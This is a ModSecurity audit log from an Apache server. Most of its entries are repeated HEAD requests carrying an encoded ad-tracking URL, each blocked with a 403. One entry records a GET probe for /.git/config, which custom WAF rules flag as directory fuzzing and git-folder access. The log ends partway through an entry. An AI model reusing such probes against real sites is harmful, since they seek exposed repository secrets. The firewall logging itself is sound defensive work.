Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274068218247 12611 (- - -)
Stopwatch2: 1789274068218247 12611; combined=18440, p1=209, p2=3493, p3=59, p4=6, p5=7469, sr=91, sw=0, l=0, gc=7204
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b6dd162-Z--
--6f151b2e-A--
[13/Sep/2026:07:34:56.802501 +0300] aqYn8DTJ6xTvcJoem7f2nAAAAFA 46.203.158.126 60880 127.0.0.1 7081
--6f151b2e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.126
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6f151b2e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6f151b2e-E--
--6f151b2e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274096789453 13100 (- - -)
Stopwatch2: 1789274096789453 13100; combined=18979, p1=250, p2=3488, p3=65, p4=7, p5=7711, sr=120, sw=0, l=0, gc=7458
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f151b2e-Z--
--c5c8ea66-A--
[13/Sep/2026:07:34:57.160206 +0300] aqYn8WM7dE9KgIIOpQhiywAAANM 91.124.31.72 60884 127.0.0.1 7081
--c5c8ea66-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.72
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c5c8ea66-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c5c8ea66-E--
--c5c8ea66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274097154223 6021 (- - -)
Stopwatch2: 1789274097154223 6021; combined=4350, p1=230, p2=3764, p3=69, p4=6, p5=281, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c5c8ea66-Z--
--a76f523b-A--
[13/Sep/2026:07:34:57.495813 +0300] aqYn8TTJ6xTvcJoem7f2nQAAAEI 46.203.158.252 60890 127.0.0.1 7081
--a76f523b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a76f523b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a76f523b-E--
--a76f523b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274097488187 7689 (- - -)
Stopwatch2: 1789274097488187 7689; combined=5708, p1=267, p2=5000, p3=88, p4=9, p5=343, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a76f523b-Z--
--f7df0865-A--
[13/Sep/2026:07:35:23.698697 +0300] aqYoCzTJ6xTvcJoem7f2nwAAAEQ 95.134.102.26 34616 127.0.0.1 7081
--f7df0865-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--f7df0865-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f7df0865-E--
--f7df0865-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274123692043 6706 (- - -)
Stopwatch2: 1789274123692043 6706; combined=4995, p1=309, p2=4232, p3=70, p4=9, p5=375, sr=167, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f7df0865-Z--
--5bb17542-A--
[13/Sep/2026:07:35:36.975897 +0300] aqYoGGM7dE9KgIIOpQhizgAAAMo 209.101.128.197 34894 127.0.0.1 7081
--5bb17542-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.197
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5bb17542-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5bb17542-E--
--5bb17542-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274136969038 6906 (- - -)
Stopwatch2: 1789274136969038 6906; combined=5017, p1=250, p2=4344, p3=68, p4=8, p5=347, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5bb17542-Z--
--f3fa6f2a-A--
[13/Sep/2026:07:35:37.249111 +0300] aqYoGTTJ6xTvcJoem7f2oQAAAE4 209.101.128.12 34908 127.0.0.1 7081
--f3fa6f2a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.12
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f3fa6f2a-E--
--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274137238465 10762 (- - -)
Stopwatch2: 1789274137238465 10762; combined=8266, p1=539, p2=6921, p3=99, p4=11, p5=696, sr=176, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f3fa6f2a-Z--
--1589e272-A--
[13/Sep/2026:07:35:37.507514 +0300] aqYoGTTJ6xTvcJoem7f2ogAAAEo 45.91.4.249 34922 127.0.0.1 7081
--1589e272-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1589e272-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1589e272-E--
--1589e272-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274137500762 6804 (- - -)
Stopwatch2: 1789274137500762 6804; combined=5285, p1=257, p2=4577, p3=100, p4=9, p5=342, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1589e272-Z--
--d77b4d2f-A--
[13/Sep/2026:07:35:39.173273 +0300] aqYoGzTJ6xTvcJoem7f2owAAAEs 154.54.100.176 34932 127.0.0.1 7081
--d77b4d2f-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--d77b4d2f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d77b4d2f-E--
--d77b4d2f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYoGzTJ6xTvcJoem7f2owAAAEs"]
Stopwatch: 1789274139135671 37652 (- - -)
Stopwatch2: 1789274139135671 37652; combined=35895, p1=925, p2=34853, p3=58, p4=8, p5=51, sr=754, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d77b4d2f-Z--
--025c6b57-A--
[13/Sep/2026:07:35:40.307412 +0300] aqYoHGM7dE9KgIIOpQhizwAAAMU 209.101.128.172 34944 127.0.0.1 7081
--025c6b57-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--025c6b57-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--025c6b57-E--
--025c6b57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274140300458 6994 (- - -)
Stopwatch2: 1789274140300458 6994; combined=4560, p1=294, p2=3943, p3=73, p4=9, p5=241, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--025c6b57-Z--
--5decba69-A--
[13/Sep/2026:07:35:40.592870 +0300] aqYoHDTJ6xTvcJoem7f2pAAAAFE 45.91.4.223 34956 127.0.0.1 7081
--5decba69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5decba69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5decba69-E--
--5decba69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274140585996 6934 (- - -)
Stopwatch2: 1789274140585996 6934; combined=5075, p1=265, p2=4446, p3=64, p4=8, p5=292, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5decba69-Z--
--a439a47c-A--
[13/Sep/2026:07:37:08.824120 +0300] aqYodCsVWymXUono-eRRYAAAABQ 45.91.4.41 34828 127.0.0.1 7081
--a439a47c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.41
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a439a47c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a439a47c-E--
--a439a47c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274228801682 22508 (- - -)
Stopwatch2: 1789274228801682 22508; combined=16266, p1=431, p2=15223, p3=158, p4=9, p5=444, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a439a47c-Z--
--bcff6f1a-A--
[13/Sep/2026:07:37:09.076684 +0300] aqYodSsVWymXUono-eRRYQAAAA8 209.101.128.215 34840 127.0.0.1 7081
--bcff6f1a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--bcff6f1a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--bcff6f1a-E--
--bcff6f1a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274229070994 5739 (- - -)
Stopwatch2: 1789274229070994 5739; combined=4360, p1=218, p2=3783, p3=61, p4=7, p5=291, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bcff6f1a-Z--
--0ed9951c-A--
[13/Sep/2026:07:37:09.342062 +0300] aqYodSsVWymXUono-eRRYgAAABU 45.91.4.70 34844 127.0.0.1 7081
--0ed9951c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.70
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0ed9951c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0ed9951c-E--
--0ed9951c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274229328660 13539 (- - -)
Stopwatch2: 1789274229328660 13539; combined=10031, p1=594, p2=8620, p3=152, p4=31, p5=633, sr=308, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0ed9951c-Z--
--d8aede7b-A--
[13/Sep/2026:07:37:25.783736 +0300] aqYohSsVWymXUono-eRRZQAAAAE 151.243.174.108 60434 127.0.0.1 7081
--d8aede7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d8aede7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d8aede7b-E--
--d8aede7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274245777744 6064 (- - -)
Stopwatch2: 1789274245777744 6064; combined=4345, p1=275, p2=3647, p3=61, p4=7, p5=354, sr=142, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8aede7b-Z--
--49a1d979-A--
[13/Sep/2026:07:37:26.146022 +0300] aqYohisVWymXUono-eRRZgAAAAA 151.243.174.180 60442 127.0.0.1 7081
--49a1d979-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--49a1d979-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--49a1d979-E--
--49a1d979-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274246132903 13162 (- - -)
Stopwatch2: 1789274246132903 13162; combined=7347, p1=278, p2=6676, p3=87, p4=18, p5=287, sr=115, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49a1d979-Z--
--27d08958-A--
[13/Sep/2026:07:37:26.488097 +0300] aqYohmM7dE9KgIIOpQhi4QAAANA 95.134.102.147 60456 127.0.0.1 7081
--27d08958-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--27d08958-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--27d08958-E--
--27d08958-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274246482519 5622 (- - -)
Stopwatch2: 1789274246482519 5622; combined=4123, p1=321, p2=3403, p3=68, p4=7, p5=324, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--27d08958-Z--
--c8265b42-A--
[13/Sep/2026:07:38:01.859026 +0300] aqYoqWM7dE9KgIIOpQhi5QAAAMk 151.243.174.142 57052 127.0.0.1 7081
--c8265b42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c8265b42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c8265b42-E--
--c8265b42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274281850146 8939 (- - -)
Stopwatch2: 1789274281850146 8939; combined=6876, p1=292, p2=5999, p3=82, p4=9, p5=494, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c8265b42-Z--
--d2eca858-A--
[13/Sep/2026:07:38:02.242815 +0300] aqYoqmM7dE9KgIIOpQhi5gAAAMc 151.243.174.123 57054 127.0.0.1 7081
--d2eca858-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d2eca858-F--
